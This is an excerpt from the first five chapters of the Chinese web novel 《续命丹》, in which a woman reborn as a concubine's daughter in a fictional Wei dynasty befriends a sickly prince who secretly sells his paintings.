《续命丹》 1. 第一章 陆萸 《续命丹》全本免费阅读 魏,安和六年,春。 卯时初,建业城陆宅后院传来木屐“哒哒哒哒”的声响,侍女木槿提着书箧牵着陆萸的手正向陆氏学堂奔去。 昨夜下了入春后的第一场雨,给干燥了许久的建业城带来了湿润。 如今天未大亮,廊上的灯笼还未熄灭,照的院中被雨水淋湿后的青石板闪闪发亮。院中朴树的叶子上还挂着少许水珠,晶莹剔透,莹莹可人。 至学堂,刚卸了木屐上阶,嫡姐陆婠朝她招手:“阿萸快看看我新得的字帖。” 陆婠比陆萸长四岁,自启蒙便对书法甚是痴迷,每次得新碑帖,皆要向陆萸炫耀一番。 陆萸则对书法不感兴趣,只得装作认真看过一番后连夸:“这字可真好看!” “一听这话便知是敷衍”陆婠撇撇嘴回。 知她不是真生气,陆萸讪笑:“阿姊懂书法,自能分辨好坏,于我而言,写出来能让人看懂已属不易。” 闻言,学堂里其他族中兄弟姐妹们齐声笑出声来。 “朽木不可雕”陆婠用手指轻敲陆萸的额头后,无奈一笑。 陆萸用不惯毛笔,如今虽只能写几个惨不忍睹的字,也已是苦练许久后的成果,而陆婠刚满九岁就能将字写得那样好,简直让她望尘莫及。 学堂中的女郎此时也好奇的凑过来看字帖,陆萸悄悄退回窗边的位子,安静地看着院中的景致发呆。 同样是上学,和前世挑灯夜战苦读语数外苦刷理化生的时候相比,现下惬意的不是一点半点,清风拂面,连风都是香的。 窗外又飘起了细雨,烟雨蒙蒙,丝丝缕缕,如烟似雾,陆萸恍恍惚惚间感觉在梦中。 三十岁的陆俞病逝在医院,再次睁眼成了三岁的陆萸,前世的她费尽千辛万苦才还清助学贷款甚至小有存款。 胃癌却让她瞬间一无所有,来到这里后她萎靡不振了整整半年。 慢慢适应后,想想虽只是个庶女,却也不是为奴为婢,且蝼蚁尚且偷生,于是又振作了起来。 陆萸的祖父是会稽候,大伯父是荆州牧兼领荆州军事,父亲是丹阳郡太守,陆氏是高门望族,在江东甚至大魏皆举足轻重的存在。 她的生母只是嫡母魏氏的婢女,听说产后没多久便病逝了。 许是怜她幼年失恃,嫡母不曾苛待她,四季衣食从不缺漏,甚至安排了两个年长懂事的侍女照顾她的起居。 嫡母育有两男一女,皆比陆萸年长,家中兄弟姐妹也从未欺负她,反而因她年龄最小,时时关爱有加。 陆萸无数次想,这或许是前世辛苦奋斗换来的福报?她很快就适应了新身份,如今快五岁了。 大魏的世家很重视子女教育,无论嫡庶皆有机会读书习字,陆萸四岁生辰后,也按惯例入了陆氏学堂,已快满一年。 今日的课,在陆萸时不时发散思维中结束了,收好书箧,陆婠主动提出要带陆萸去芙蓉院玩。 平时散学后是陆婠的练字时间,如今见她神神秘秘的表情,陆萸毫不犹疑便跟着去了芙蓉院。 若说前世病魔给陆萸带来的是苦痛,那父母则是亲手把她最后一丝求生欲掐断的人。 他们打着为她治病的幌子,将她攒下的所有积蓄取出,然后毫不犹豫地拿去给弟弟付了买房的首付。 在彻底失去意识的那一刻,她没有痛苦,只觉得解脱,终于不用继续受病痛折磨,也终于可以离开那个冰冷的家,那笔钱就当是还了他们的恩情吧。 前世,她出生后就和奶奶留守在乡村,直至大学毕业都没有和父母共同生活过,以致于这三十年间,她自卑、隐忍、谨小慎微直至生命最后一刻。 到这里后,她在感受到与前世不一样的家庭氛围时既无措又窃喜,振作起来后,就开始小心翼翼地用成年人的毅力维护着得来不易的亲情。 陆婠终归是个孩子,遇到有耐心又殷勤的陆萸,很快就掏心掏肺的对她好了。 至芙蓉院,陆婠一脸喜悦道:“我有个好消息想与你分享。” “是何消息?” “母亲说这次上巳节让我带你一同前往”陆婠开心道。 上巳节起源于兰汤辟邪的巫术活动,用兰汤以驱除邪气。 在以前,无论男女,年龄几何,皆要参加“祓除畔浴”的活动。 但随着时间推移,上巳节逐渐演化为皇室贵族、公卿大臣、文人雅士临水宴饮的节日,并由此而派生出上巳节的另外一项重要习俗——曲水流觞,即禊饮。 每年上巳节,建业城的年轻男女都前往城外的覆舟山踏青,然后在曲水流觞宴上吟诗作赋。 渐渐地,已经演变成类似后世的相亲大会,只不过这里更加含蓄,且更加富有诗意。 现今世家大族的庶女虽没有庶女文里那样处境不堪,但庶女也仅用于家族联姻而已,陆萸这个年龄的庶女能与嫡姐一同去上巳节的几乎没有。 陆萸心中疑惑,脸上不免表现出来,她这么木讷胆小,带着她没什么意思吧? 这时,侍女芍药为陆萸端上茶碗,在耳畔低声道:“听闻此次南安王世子也要去。” 原来如此,陆萸先是一副恍然大悟,然后一脸戏谑的看着陆婠,她这是想让妹妹帮忙相看呢。 陆婠与南安王世子曹善于四年前定下婚约,三年前老南安王去逝,新南安王便以方便老王妃在建初寺礼佛为由,向当今陛下申请在建业开府。 今年初,南安王守孝期满,正式举家从封地六安搬至建业。 陆婠嗔怪的看了眼芍药:“去去去,谁让你多嘴。” 芍药笑着答诺后忙退下了。 尽管陆萸很是好奇覆舟山的美景,但思索利弊后,她小心的开口:“我还小,还是不去了罢?” “管那些做甚?我可是向阿母保证了会带你尽兴的”陆婠不悦道。 陆萸内心五味陈杂,她一直认为亲情也需要经营,这些年所有付出皆带着目的。 如今对着陆婠那双清澈的双眸,却突然有了负罪感,她不自在的将头低了下去。 陆婠见陆萸犹豫,只当她是害怕去陌生的地方,忙道:“莫怕,届时你跟紧我就是?” 不忍她的一番热忱,陆萸含泪点点头:“谢谢阿姊!” 得到答复,陆婠忙开心地拉着陆萸一起挑选上巳节要穿的衣裙和搭配的头饰。 嫡母魏氏是个行动派,当日天黑前就差人把陆萸上巳节要穿的新衣裙送来了芝兰院,还送了一盒精美的绢花,红黄蓝绿各一对,共八支。 一套衫裙,嫩绿色对襟上衫配黄绿间色十二片破裙,腰间用橘红色帛带扎紧,头上再配上绿梅绢花,站在镜前的陆萸像极了柳树枝头刚冒出的新芽,生机盎然。 四日后,上巳节,艳阳高照,惠风和畅。 陆萸与陆婠同坐牛车,两位兄长则一前一后骑马护着车架一同前往覆舟山。一路上,牛车上的铜制銮铃发出清脆悦耳的声音,姐妹二人掀开车帘,兴致勃勃地欣赏车外美景,蔚蓝的天空流云溶溶,道旁的草木郁郁葱葱。 至覆舟山翠微亭,兄长们一番交待后,留下姐妹二人在亭内。 翠微亭是女子休息的地方,曲水流觞宴在亭下方不远处的清溪河畔。 女子不参加禊饮宴 2. 第二章 君期 《续命丹》全本免费阅读 与流觞席上那些少年不同,他仅着一身银灰色长衫,头发梳得整整齐齐,没有一丝杂乱,那张脸却精致得有如一块美玉。 最让人惊讶的是他那双眼睛,有如一口无波的古井,深沉无边,却又干净得有如极地之雪,神圣不可侵犯。 愣神间,发现少年身侧的侍人正举着明晃晃的刀,陆萸立马从惊艳中回过神来。 感觉到口中传来一股血腥味,她忙将口中腥味吐出,却看到一颗门牙静静的躺在带血的吐沫中,心想:那把刀太吓人了,还是哭哭化解一下危机吧。 于是她不顾形象地大哭起来,哭声响亮得把树梢上的鸟都吓跑了,这一哭,哭得实在凄惨。 “江澈”少年唤了近侍,然后用洁白的手帕捂着嘴咳嗽起来。 江澈得令,迅速将刀收回,然后走过去将陆萸扶了起来,问:“可有伤到?” 摇摇头,陆萸哭着回:“无碍,谢谢大苏。” 言毕,她尴尬的捂住嘴,掉了门牙,说话漏风了。 江澈却未取笑她,只小心的扶着她去河边,待她洗净脸上的污泥后,还细细帮她把头上的树叶和枯草拿掉。 “谢谢大苏”陆萸又道。 “举手之劳”江澈笑回。 脸和手皆已洗净,可头发和衣裙却沾满污泥,陆萸这时真后悔早上拒绝了木槿想多带一套衣裙的方案,闻着身上散发出的阵阵腐霉味,她局促的走到离少年几步远的地方,便不敢上前了。 少年见女孩洗净脸后面色红润,且未见有其他伤,边咳嗽边指了指对面的位置,心想:这是个健康的女娃。 陆萸犹豫了一瞬,才走过去理了理裙摆小心地坐了下去,二人中间案几上除了香炉、茶具、食盒,还有一套文房四宝,她在心中偷偷想:真是怪人,钓个鱼还摆这么大的排场。 少年终于停下咳嗽了,微微一笑:“我这里有点心,你可要用些?”说着,把黄花梨木食盒往陆萸跟前推了推。 陆萸没马上打开食盒,只是小心的打量眼前的少年。 他平日里估计不常笑,浅色的唇角微微上扬,看似有些不自在。 “我的门牙掉了”陆萸开口。 “小童莫怕,牙掉了还会长”少年轻声安慰道。 奇怪,少年身上透着和年龄不相符的暮气,让陆萸觉得他像个长者。 话音刚落,他又咳嗽起咳来了,咳得双颊都染上了红晕。 来不及多想,陆萸起身手忙脚乱的给他的茶盏续上水后递给他。 饮过茶,少年沾上病气的眉梢舒展开:“可吓到你了?” 摇摇头,陆萸问:“公子需要找医官吗?” “无碍,旧疾而已”少年解释道。 陆萸心中忍不住可惜起来,这么好看的人,竟然是个病秧子。 “你是哪家小童?我让江澈送你回去”少年问。 “少主,属下不能离开”江澈急道。 少年边咳嗽边摆手:“方言很快就回来了。” “家父是丹阳太守”陆萸忙回。 着一身绿裙子微笑的陆萸,圆圆的脸上一双圆而亮的大眼睛,眼神清澈坦然,笑的时候还有一对圆圆的酒窝。 这一刻,少年突然想起了寒食节的青团,圆润软糯,还有淡淡清甜。 “在下曹壬,字君期”阳光下,少年莞尔一笑。 此时的水面像一面镜子,热烈的骄阳被反射上来,悉数落在曹壬白皙无暇的脸上。 积石如玉,列松如翠。 郎艳独绝,世无其二。 恍惚间,陆萸回:“你唤我阿萸吧。” 这是陆萸第一次见到曹壬,一阵风吹过,蜻蜓轻点足尖飞过水面,掠开圈圈水晕,然后落在了鱼竿上,彤红的翅膀在风中轻轻煽动着,像开在鱼竿上的花,这也陆萸见过的最美的春天。 再多词汇都形容不了她此时的心情,瞬间愣神,她忙起身行礼:“臣女见过公子。” 曹壬,年十三,南安王嫡长子,生母琅琊王氏早逝,其因体弱多病无缘世子位。 这是陆萸之前从陆婠口中听到的关于他的信息,君期:寓意身贤体贵、温文尔雅、光明磊落,这表字也真真配得起他。 “无须多礼,可唤我君期”曹壬嘴角微微上扬。 他这一笑,像是柳叶梢尖那一点清透的春日风光,干净温暖。 陆萸想起陆氏和南安王府的婚约,慢慢放松下来,她对吟诗作赋不感兴趣,且现如今这一身泥污的模样出现在翠微亭,定是要被那些贵女取笑,连带着阿姊也跟着难堪。 思及此,她对曹壬道:“若方便的话,能否先让大叔替我向家人报个平安?我想留下看您钓鱼。” 闻言,曹壬愣了一下,从小到大,没有小孩子愿意陪他玩,他们都觉得他太闷,更别提陪他钓鱼。 话才出口,陆萸便觉有些唐突,忙问:“可会打扰到您?” 摇摇头,曹壬笑回:“无碍。” 这回笑得更自然了,美、色误人,陆萸胡乱拿起一块点心就往嘴里送,谁知,“嘎嘣”一声后,她的门牙又掉了一颗。 手中捧着点心和落齿,她欲哭无泪的看着曹壬,能不能不要这么糗呀。 “噗嗤”,一旁的江澈忍不住笑出声来,边笑边道:“某这就替女公子报平安去。” 不待陆萸回话,一溜烟跑得没影了。 有这个插曲后,陆萸反而更放松了,反正没什么形象可言了,那就破罐子破摔吧。 只是掉了两颗门牙,说话更漏风了,好在曹壬是个极有耐心的人,能细细分辨她说的话。 想着他才搬来建业,陆萸便细细向他介绍起城内布局,比如哪里有什么好吃的,哪里有卖书画的,淮水河有多漂亮,乘船游玄武湖有多惬意等等。 许是来大魏后不敢乱开口,装了好几年木讷的小孩,如今遇到一个温柔有耐心的“长者”,她便有了无限的诉说欲。 而曹壬也非常捧场,静静聆听之余叹道:“有机会一定去看看。” 陆萸说得口干舌燥,又喝完一盏茶后,看到鱼漂抖动,忙兴奋喊道:“快,鱼上钩了!” 曹壬眼疾手快,迅速抬起鱼竿,果见有鱼在钩上。 起身把鱼从钩上取下扔进一旁装有水的木桶内,陆萸看着在桶内扑腾的鱼,双眸发亮:“如此清亮的草鱼若煮清汤,肯定特别鲜美。” 鱼儿好似听懂她的话,用力摆动尾巴,拼命挣扎,尾翼拍打着桶壁将水花悉数甩在她脸上。 曹壬刚想劝她站远些,便见她举起袖子擦了把脸,愤愤地看着鱼咬牙道:“敢欺负我,回去就把你做成咸鱼。” 见她甚是生动的表情,曹壬笑问:“吃了不是更解气?” “哪有?做成咸鱼天天被晒着才解气”陆萸回。 她嘟着嘴,气鼓鼓地回话时,曹壬又想起了青团。 他笑道:“那就由你处置吧。” 这可是水质一流的环 3. 第三章 青团 《续命丹》全本免费阅读 陆萸不知身后曹壬的一番心思,只是匆忙赶回停车的地方。 陆婠和两位兄长早已等在路口,见到陆萸,陆婠忙走上前拉过手,关切道:“可被吓到了?” 摇摇头,陆萸张开嘴给陆婠看,苦恼道:“成了漏风嘴了。” “噗嗤”陆婠笑出声来,牵着陆萸的手向自己家的牛车走去,安慰道:“没事,很快就能长出新的。” 陆萸让江澈给陆婠送信后,杨氏姐妹想等着陆萸回来再走,毕竟他们自己理亏在先。 可陆婠心底有怨,便也没有什么好脸色,不冷不热的回了句:“家妹刚遇险,还是莫让她看到你们,免得又受惊吓。” 杨氏姐妹听了,唯有尴尬的自行离去。 陆萸如今听姐姐提起这事,笑道:“我也没受伤,还欣赏了林间美景,这事就算了。” 谁让人家的父亲是自己父亲的顶头上司呢?唉,小孩子之间有点小矛盾很容易就忘记的,陆萸这么想着。 陆婠却不刚想回话,身后一个声音喊道:“还请女公子留步。” 姐妹二人回头,见一个少年急匆匆追了上来,在二人面前站定后,对陆婠拱手行礼道:“母妃已邀请使君夫人做客,善,期盼与婠妹妹再会。” 陆萸这才知这少年是南安王世子曹善,她刚见过曹壬,所以曹善已不能惊艳到她,虽然兄弟二人长得破为相似,但曹善的脸上更有朝气。 曹善,字元襄,寓意才貌双全,这才像一个真正的少年,生机勃勃,如灼灼骄阳,让人观之目眩。 收回视线,陆萸偷偷瞄了眼一旁的陆婠,见她眼中看不出羞涩与欢喜,唯有平静,这才是陆萸认识的姐姐,冷静、睿智。 南安王世子早有才名在外,听闻时有惊艳的诗作流出,还写得一手极好的字。今日见到真人如此器宇轩昂、风度翩翩,又听了他几首新作,上巳日踏青的贵女们更是对他深深折服,心底早已芳心暗动。 唉!可惜已经订婚,如今见曹世子对陆家女郎如此上心,瞬间碎了一地芳心。 “下次再会”陆婠仿若没看到曹善身后那些贵女不舍的眼神,只是大方回礼。 曹善离开后,姐妹二人也没多做停留,跟着两位兄长去找自家的牛车。 “世子的文采当真令我等折服”二兄陆纯边走边叹道。 陆萸奇道:“比大兄还厉害吗?” 一旁的陆弘点点头:“吾自愧不如!” 江左陆氏如今最让人瞩目的是远在荆州的荆州牧陆广及其三个能征善战的儿子,但二房长子陆弘的文采却也一直受到江左文人雅客的好评,都称其还未加冠便有如此才能,将来入朝堂封侯拜相完全不是问题。 如今得陆弘如此高评,看来南安王世子当真有两把刷子。 思及此,陆萸笑着扭头悄声道:“他竟是这般优秀的儿郎,妹妹唯有恭喜!” “休要胡闹,快些上车”陆婠羞红着脸快步进入牛车。 第一次见自家姐姐恼羞成怒,真是难得,陆萸扭头对陆纯做个偷笑的表情,才跟着上了车。 陆弘身为长兄,常见弟弟妹妹们打闹,如今觉得陆萸说话不合礼数,却又舍不得出口教训,唯有无奈一笑,催弟弟快些上马。 牛车缓缓驶回建业城,城外的景色因金乌西坠,被镀上一层金黄,远处已有袅袅炊烟升起。 进城后,路过陈记点心铺,陆婠掀开帘子,对陆纯道:“阿萸今日受了惊吓,阿兄去买些豆沙米糕来。” 正打盹的陆萸忙醒过来,凑近窗口:“阿兄莫要破费了。” 陆纯却笑回:“阿萸今日没了两颗牙,米糕软糯,正合适。” 言罢,不待陆萸开口,他便快速离去了。 过会,一包热腾腾的桂花米糕从窗口递了进来,“快趁热吃” 接过米糕,陆萸咧开嘴笑道:“谢谢阿兄。” 陆纯不甚在意的摆摆手:“莫要和我如此客气。” 放下帘子,陆萸小心将纸包打开,看着眼前散发阵阵香味的米糕,她的鼻子微微发酸。 “可是太烫了?”见陆萸迟迟不吃,陆婠问。 摇摇头,陆萸含泪看着米糕:“不舍得吃。” 轻叹一声,陆婠笑道:“真是傻瓜。” 说着,她伸手取下一小块,然后塞进陆萸口中,她知道这个妹妹从小就懂事,但有时候懂事得让人心疼。这次若非江澈及时将消息送至翠微亭,她和杨琇莹或许会闹得更加难看。 “这次是我没照顾好妹妹,真的抱歉”陆婠郑重道,声音带着哽咽。 “今日之事纯属意外,阿姊好心带我出门游玩,何错之有?” 陆婠听了,却愈发自责和心疼,只沉默着。 不知如何开解,陆萸笑着举起糕点:“阿姊也吃点?” 陈记点心铺的桂花米糕在建业城很出名,但价格也很贵,陆氏家学提倡节俭,所以陆婠也不是经常能吃到。 拿起一块放入口中后,陆婠满足的喟叹:“还和以前一样美味。” 若有人问童年最快乐的是什么?陆萸肯定会回答:和家人一起分享美食的时刻。 第二日用过早食,嫡母魏氏带着子女去南安王府做客。 王府会客厅,南安王有事外出,王妃顾氏,老王妃崔氏带着王世子曹善和翁主曹姒坐在上首,听闻曹壬病了不便见客,陆萸心底再次可惜。 一番见过礼后,两位兄长便和世子退下了。 王妃顾氏不着痕迹地打量起陆婠,眼前的女孩小小年纪,行动间却沉稳大气,姿容秀丽却不失大方得体。 江左顾氏和陆氏向来交好,因此她对这个未来儿媳越看越满意,思量间,她自腕间退下一玉镯后,递给陆婠:“小玩意,婠儿戴着玩。” 顾氏突然有此之举,陆婠不知所措地看向母亲。 魏氏笑道:“长者赐,不可辞。” 此玉镯莹白透亮,是上等的和田玉,陆婠伸出双手稳稳接过手镯,然后向顾氏行礼致谢。 此时陆萸正安静的坐在魏氏身旁,看着案几上的茶碗发呆。 顾氏和魏氏正聊着天气互相客套着,老王妃崔氏突然开口:“那位可是陆太守的幺女?” 陆萸忙回过神来,起身行礼,回:“是臣女”。 “到跟前说话吧”老王妃一脸慈爱,脸上的笑容像极了那日曹壬的笑。 顾氏摸不透老王妃何意,只讶异的看着面前看起来胆小怯懦的女娃,相貌平平,气质平平,心底评价:同是姐妹,这差距也太大了,还是自己儿媳好。 魏氏虽有疑惑却忙回神,低声对陆萸道:“你上前回话吧,莫怕。” 得了这话,陆萸便大方走向尊位上的二位王妃,然后行了个标准礼。 老王妃看过陆萸后,笑着开口:“果真像青团。” 一句话,让在场的人都愈发摸不着头脑,疑惑的看着老王妃。 发现自己失言,老王妃轻咳一声掩饰后,取下头上一只碧玉簪子就递给陆萸。 有了方才陆婠收礼,陆萸便没有推辞稳稳接了过来。 王妃顾氏却惊讶道:“母妃何故” 余下的却话被老王妃打断:“一件旧物而已,看她讨人喜,我便送给她把玩吧。” 顾氏便不再开口,脸上立马换了一副慈爱的笑容。 陆萸揣着簪子却突然觉得有些烫手,她谢恩后惴惴不安的回到魏氏身旁。 不多时,老王妃觉得累了就先退下了。 世子的妹妹曹娰才七岁多,也是坐不住的性子,便带着陆家姐妹到王府花园游玩。 南安王府虽然只花了一年多的时间修建,却处处透着高贵大气,亭台阁楼,花园水榭样样俱全,听闻当初是请了北方善建的大家设计的花园,翁主曹姒甚是自豪。 在这种场合,陆萸向来都是乖乖做个透明的小尾巴,陆婠则不愧是世家嫡女,话语间沉着冷静,不骄不躁。 游园结束,曹娰对未来嫂嫂还是挺满意的,她早在六安封地便已听过陆婠的美名,今日一番交谈,心里 4. 第四章 买画 《续命丹》全本免费阅读 回到太守府后,陆萸把簪子递给魏氏看,然后将曹娰那番话也一并告知。 魏氏细细察看簪子,此簪虽手感温润,却只是普通碧玉簪,且长辈相赠,应该无太多深意。 见陆萸一脸担忧,她安慰道:“许是你刚好合了老王妃的眼缘,好好收着吧。” “可会连累父亲?”陆萸心中仍有担忧。 闻言,魏氏无奈一笑:“莫要想太多,日后我补份礼给老王妃就是。” 陆萸这才放心下来。 离开魏氏的院子,陆婠在一旁悄声抱怨:“指不定是那翁主自己眼红,讹我们的。” 陆萸却觉得曹娰不像在说谎,她看得出这个簪子是旧物,人老了容易念旧,身上的东西也只会戴自己觉得重要的那几样。 没有与陆婠解释太多,她笑道:“不管了,反正东西已经给我了。” 陆婠闻言,跟着笑了起来,再眼红,他们也要不回去了。 从南南王府回来后的第二天,杨蓁蓁竟然上门了,带了一堆女孩子的头花和和一些小零食,说是来赔罪的,这让心里对杨氏姐妹还有怨言的陆婠也消了气。 魏氏陪着陆萸姐妹和杨蓁蓁聊了一会就让姐妹两带着杨蓁蓁下去玩了。 因陆婠还有箜篌要学,杨蓁蓁便随着陆萸去了芝兰院。 此院子名字叫芝兰院,院中却只有少许兰花,甫一踏入院门,入眼的全是紫藤花,如今正是紫藤花开的季节,紫白色的花瓣在风中轻轻摇曳,如同一串串紫色的风铃,在阳光的照耀下显得各位柔美,让人为之倾倒。 没来找陆萸前,杨蓁蓁猜想陆萸身为庶女估摸着和家里的那些庶出一样过得寒酸,如今见芝兰院处处透着精致,也忍不住对魏氏的大度和宽和心服口服。 之前有人耻笑江左陆氏将女孩当宝,无论嫡庶,如今亲眼所见,果真一点都不假。 陆萸陪着杨蓁蓁聊了会,以为她很快就走了,二人正聊着,杨蓁蓁竟突然提出想和自己做朋友,脸上一副很是认真郑重的表情,这大大出乎陆萸的意料。 她出身高门杨氏,又是嫡女,却愿意放下身段和一个南方小庶女结交,无论出于何种原因,陆萸皆是不能拒绝的,或许她只是小孩子心性,过一阵也就忘记了,陆萸这般想着便答应了。 谁知,过了今日之后,杨蓁蓁竟然每周都要来找陆萸,陆萸起初对这样的热情有些不习惯,但都是年龄相近的女孩子,一来二去的也慢慢和她熟稔起来,魏氏也习以为常,每次杨蓁蓁来,都会差人送些茶点过来。 杨蓁蓁的母亲出自王族清河崔氏,是一位非常典型的望女成凤型家长,最引以为傲的其亲自教导的长女已入主洛阳东宫成为太子妃,所以对余下两个女儿的教育非常严苛。 陆萸还没开始学乐器,杨蓁蓁却已经能用箜篌完整的弹奏一曲《采薇》了,她每次来找陆萸都是来吐槽学习历程,原因无外乎母亲崔氏总拿她和长姐做比较,让她透不过气来。 相比之下,魏氏对女孩的要求宽松很多,只要好好习字即可,棋琴书画只求随心,女红甚至都没有过多要求,虽是如此,陆婠的箜篌也是弹得极好的。 有嫡姐这个珠玉在前,陆萸便愈发没了奋斗目标,只求平平安安做个躺平的咸鱼,有的东西真是需要天赋的。 咸鱼陆萸恰好是杨蓁蓁羡慕的对象,她也有两个珠玉在前的姐姐,却没机会咸鱼,每次出门皆是以想要熟悉建业城为由,其实只为来这里透透气。 陆萸很能理解杨蓁蓁,此时的她就像后世被父母逼着学兴趣班的孩子,既厌烦又不得不学,她无外乎被逼的太紧,想找人倾诉一下。 日子就在陆萸优哉游哉的咸鱼生涯中飞逝而过,很快到了冬日。 建业历年都很少下雪,但入冬下过几场雨后,霜色连天,整个建业城都浸泡在白茫茫的冷雾里。 这个清晨,陆萸起得比平时早,给魏氏请安后,她急匆匆赶往城东书肆,说是书肆却不似后世的书店有很多书卖,卖的都是寒门子弟需要的文房四宝和一些常见的书。 这个时代世家掌控着大部分的书籍,不会让书籍随便外流,那些大家的名著名作都是世家发扬光大的秘籍。 这几年,有一位雅号一竿翁的画者偶有作品流出,若是以前,世家子弟皆以寒门子弟卖字画为耻,如今却出奇一致的以收藏一竿翁的画为雅事。 过几日就是长兄陆弘的十五岁生辰,为了能抢到画,自去年中秋她便已经交了大笔定金给书肆,谁知等了一年多未有任何音讯传来,实在等不及,她打算亲自上门问问。 此时天空阴沉沉的,虽然没有雨,却似有寒冷的碎屑飘落在脸上,冻得脸生疼。 木槿在身后小声抱怨道:“女郎君就该坐车出来的。” “我想给长兄一份惊喜,太多人知道我出门不好”陆萸搓搓手道。 至书肆,书肆小二无奈解释:“要不,小的把定金退给女公子?” 一杆翁的画虽然抢手,价格却没有贵的离谱,莫不是他们偷偷把画卖给了别人? 陆萸越想越气,忍不住用力拍了拍柜台,怒斥:“做生意怎能不讲信用?不怕被人报复吗?” “是真的无新作送来,若能做生意,我们岂会藏着掖着?”小二一脸赔笑的回。 陆萸见小二甚是敷衍的态度,愈发生气,还想接着骂两句,身后突然传来几声轻轻的咳嗽声,她和小二齐齐向门口看去。 那次上巳节后,陆萸没再见过曹壬,也没想过还能再与他相遇,在她看来二人根本就不是一个圈子的。 如今只见曹壬着一身银灰色锦袍,披着纯色白狐毛斗篷立在门口,抬首间与陆萸四目相对。 未待陆萸回过神来,之前不知躲在何处的掌柜一脸热情地迎了上去“贵客至,有失远迎。” 曹壬却只是淡淡点点头后,看着陆萸:“阿萸来买笔墨?” 突然再次遇到曹壬,陆萸先是惊讶,然后脸上绽放出喜悦的笑容:“原来是你呀!” 不等二人继续寒暄,掌柜忙热情地对陆萸道:“女公子要什么不用自己找,让小的去找就行。” 小二也被曹壬惊呆了,眼前的贵公子真是太干净出尘,仿佛他出现在这样狭小的店铺内都是一种错误。 “愣什么,还不去备茶”掌柜对着小二骂道。 虽然可以狐假虎威,陆萸却只是忙摇头:“不用茶水,我只买画。” 掌柜不敢离开,看着曹壬示下。 曹壬轻咳一声后,淡淡开口:“听小友的。” 掌柜退下,陆萸忙走向曹壬,关切道:“大冷天的,你还出门做什么?” “许久不出门,闷得慌”曹壬笑回。 “再如何也不该拿身体开玩笑”陆萸不赞同的看着他。 明明是个病秧子,还喜欢在大冷天瞎折腾,她真是无法理解现在的王孙贵族。 今日的陆萸穿一身杏黄色襦裙,外披嫩绿色带毛领斗篷,头上戴的是黄色的迎春花绢花,曹壬见了,又想起了青团。 将帕子收回袖中,他问:“你的画选好了吗?” 陆萸摇摇头,颓然道:“为了买一竿翁的画,我把前几年生辰收到的银钱都压在这里了,如今竟和我说没货,这不是戏弄人么?如今长兄生辰将至,我如何还能备出新的礼物。” 再次捂嘴咳嗽几声,曹壬才回:“他的画,我可以送你一幅。” “当真?”真是瞌睡遇到枕头,陆萸一脸惊喜的看着曹壬。 她的双眸太过明亮,曹壬被这样的眼神看得微微怔住,少顷,才笑回:“当真。” 虽心中欢喜找到了画,陆萸仍觉得收别人这么重的礼有些不合适,忙道:“要不你开个价吧,我向你买。” “这画是友人相赠之物,如今借花献佛而已”曹壬笑回。 陆萸萸听了,便不再纠结,转身大摇大摆地走至柜台前,伸出手看着掌柜:“把定金还我。” 小二忙把银两点好赔着一脸的笑递给陆萸。 细细点验后,陆萸不悦道:“被压在这里一年多,就没有点利息?” 书肆定金还算利息?闻所未闻呀,小二被吓懵了。 掌柜却是识趣的,忙加了十几个五铢钱,眼前二人一看就是贵人,做生意讲究细水长流。 陆萸这才心满意足的把钱收回小袋子揣入怀中,笑话,她日后可是打算躺平的,银钱之事如何能马虎。 因出身王府,曹壬对金钱向来没有什么概念,以前他觉得谈钱太俗气,如今见到如此生动的陆萸,突然间觉得很有烟火气。 见曹 5. 第五章 建初寺 《续命丹》全本免费阅读 “一竿翁”就是曹壬,这些年,他不愿意和外界有太多交际,闲暇时间很多,都是用来看书、钓鱼和作画。 某一天,江澈告诉他:“作画水平好坏,只能靠大家验证。” 出于好奇,他让方言将画送去建业城的书肆,因对金钱没什么有概念,一直都是让方言随便卖。 今日,他去书肆不是为买书,而是想问问都是些什么人买一竿翁的画,而掌柜也不知他身份,只是看他通身贵气,便多了几分热情。 想起陆萸今日说一画难求,他问方言:“日后,我也能卖画养活自己吧?” 他的思维太跳跃,方言愣了一下,回:“少主出身富贵,何须考虑这些?” 曹壬却边净手边自语道:“也不知一幅画可以换几份米糕。” 言罢,也不理会屋内二位侍人,径自走了出去。 方言和江澈一时面面相觑,少主突然变得有烟火气了,是不是应该向老王妃报喜? 翌日清晨,陆萸刚梳洗好,木槿就报江澈正候在院外。 想到画,陆萸踩着木屐兴奋地奔向门口,“哒哒哒”的声音如此的欢快。 当江澈看到陆萸着青绿色衣裙,一脸笑意盈盈飞奔而来时,也突然想起了青团。 他拱手行礼:“卑职奉少主之命给女公子送画。”言毕,转身从身后仆从手中拿过木匣递给陆萸。 装画的木匣看不出是什么名贵木材,但盒面雕刻的精美绝伦。 陆萸惊喜道:“君期真是有心了,竟已替我包装好。” 江澈却在心里道:少主根本不知道送礼物要包装。 小心翼翼地接过画,陆萸问:“昨日的米糕,君期可还满意?” 江澈心中想着:满意得恨不得把包装纸都吃了,但只是笑笑:“尚可!” 临行前少主再三交待,想办法让陆萸再找些吃食与他分享,江澈对自家少主这种骗小孩压岁钱买零食的行径有些鄙夷。 特别是这幅画对少主而言轻而易举就能完成,少主却总还惦记着和人家抢零食。 只是尚可?陆萸微微蹙起眉头,除了这个,她一时想不起更好吃的了。 见小女孩一脸纠结,江澈有些不忍。 沉吟片刻,陆萸笑道:“这几日,我再问问亲朋好友,若寻到美食,定与君期分享。” “不急,少主每月十五都会陪老王妃去建初寺礼佛,您自可去那里寻少主”江澈厚着脸皮替自家少主回道。 “好的,替我向君期道谢,届时我去建初寺找他”陆萸笑着回。 江澈见小女孩一派天真可爱,心中愈发不好意思,抱拳行礼后匆匆离去。 回到芝兰院,银杏看着木匣道:“君期公子真是大方,这般难求的画说送就送了。” 陆萸打开木匣,拿出画细细看过后,边将画卷起边道:“不要让任何人知道他送画与我。” 木槿和银杏皆愣了一下,才道:“婢子省得。” 把盒子放书架上后,陆萸叹道:“他说我是他的小友,那就永远只能是小友,你们可懂?” 木槿和银杏齐齐点头,世人皆看重身份,君期公子和女郎君有如云泥之别,他们如何能不懂。 “一幅画而已,他或许根本不在意,送了就送了,我若为此忘乎所以,那才真是不该”陆萸看着窗外不知何时开始飘落的雨,呐呐自语。 陆萸生母早逝,伺候的侍女们竟然合伙乳/母虐待不会说话的陆萸,害的陆萸整日生病,后来魏氏把那些人都发卖了还给她迁至芝兰院,木槿和银杏因为懂事乖巧所以在那时候被安排到陆萸身边。 二人刚开的时候打起十二份的小心认真伺候,唯恐伺候不周到被发卖,好在陆萸虽话语不多却非常懂事,有时候甚至懂事得不像一个小孩,为此,陆萸问他们:“你们怕吗?若害怕,现在回去还来得及。” 二人忙摇头:“婢子不怕。” 